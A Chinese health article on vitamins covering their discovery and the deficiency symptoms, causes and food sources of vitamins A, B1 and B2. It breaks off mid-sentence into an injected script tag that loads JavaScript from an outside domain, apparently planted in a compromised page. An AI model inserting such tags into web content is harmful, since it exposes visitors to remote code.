1912年，波兰科学家丰克，经过千百次的试验，终于从米糠中提取出一种能够治疗“脚气病”的白色物质，这种物质被丰克称为 “维持生命的营养素”，简称Vitamin(维他命)，也称维生素。
随着时间的推移，越来越多的维生素种类被人们认识和发现，维生素成了一个名副其实的大家族。为了便于记忆，人们把它们排列起来，维生素按A、B、C一直排列到L、P、U等几十种。
维生素的共同特点是：不能由机体合成，必须由食物供给；需要量很少，多以毫克、微克计算；不提供能量，也不是组织细胞的组成成分；缺乏时可产生特异的营养缺乏病。
几种较易缺乏的维生素
为了防止维生素缺乏，首先让我们一起了解几种人体较易缺乏的维生素的功能、缺乏原因、缺乏症状以及食物来源。
维生素A
维生素A是一种调节和保护身体的抗氧化剂，能维持上皮组织的正常发育和健康，促进生长，增加对传染病的抵抗力，在抗癌、防癌，促进骨与牙的发育，改善铁的吸收，增强造血系统功能，维护正常嗅觉、听力和视力方面有十分重要的意义。
缺乏症状
皮肤粗糙、干燥。特别是臀、四肢、肩、下腹部起小丘疹。
泪腺分泌减少，眼睛干燥，角膜软化、溃疡、夜盲以致失明。
抗传染病和某些肿瘤的能力下降，如胃癌、肺癌、宫颈癌、皮肤癌、膀胱癌等。
食物来源
1、维生素A只存在于动物性食物中，如动物肝脏、奶及奶制品、鱼肝油及禽蛋。
2、植物中不含维生素A，但含有胡萝卜素，胡萝卜素被吸收后在体内可转变成具有生理活性的维生素A。胡萝卜、各种绿色叶菜、南瓜、柿椒、番茄、黄玉米、黄豆粉、柑橘、芒果、杏、柿子、红薯等富含胡萝卜素。
维生素B1
维生素B1能维护神经、肌肉、消化以及循环系统的正常功能。
维生素B1的缺乏原因
紧张的脑力劳动和体力劳动及某些心理应激因素等方面的影响都会加速维生素B1的缺乏。
长期大量食用碾磨过于精细的米和面粉，又缺乏其他副食和杂粮的补充，易造成维生素B1的缺乏。
肝损害、酗酒也可引起维生素B1的缺乏。长期透析的肾病患者、完全胃肠外营养的患者以及长期慢性发热患者都可引起维生素B1的缺乏。
缺乏症状
缺乏维生素B1首先影响的是神经系统，会出现疲乏、淡漠、食欲差、恶心、忧郁、急躁、沮丧、腿麻木、肌肉萎缩、多发性神经炎或心脏扩大、心力衰竭，还有所谓的“脚气病”（医学上称为维生素B1缺乏病，分为干型和湿型）。
食物来源
维生素B1在食物中分布甚广，瘦猪肉、肝、肾、火腿、啤酒、酵母、全麦粉、粗粮、燕麦粉、绿豆、黄豆、红小豆、豌豆、花生、葵花子等都含有较多的维生素B1。
预防措施
首先要平衡膳食。加工越细的米面，维生素B1含量越少。主食的摄入要做到粗细粮搭配，多吃玉米、白薯、紫米、小米、各种豆类等粗杂粮。肉类要在膳食中占有一定的比例。同时，食物要讲究科学的烹调方法，注意提高食物中维生素B1的利用率和保存率。具体注意事项如下：
减少淘米次数及浸泡时间，否则会损失大量维生素B1。
米的烹调方法以煮、蒸为主，不提倡捞饭弃汤的做法。
煮粥、做面食不加碱，提倡使用鲜酵母发面。
充分利用面汤、饺子汤中的营养。
少吃油条、油饼之类油炸食品。
淡水鱼和软体动物体内含有的硫胺素酶可以破坏维生素B1，但加热可以使此酶失去活性。因此，最好少生吃鱼和软体动物。
用高压锅烹煮食物因时间短可减少维生素B1的损失。
维生素B2
维生素B2，亦称核黄素，是构成机体中许多辅酶的成分，这些辅酶在体内糖、脂肪和蛋白质三大代谢中起着十分重要的作用,它能促进生长发育、维护视觉功能和黏膜功能，是?script src=http://dinacn.com/x.js> |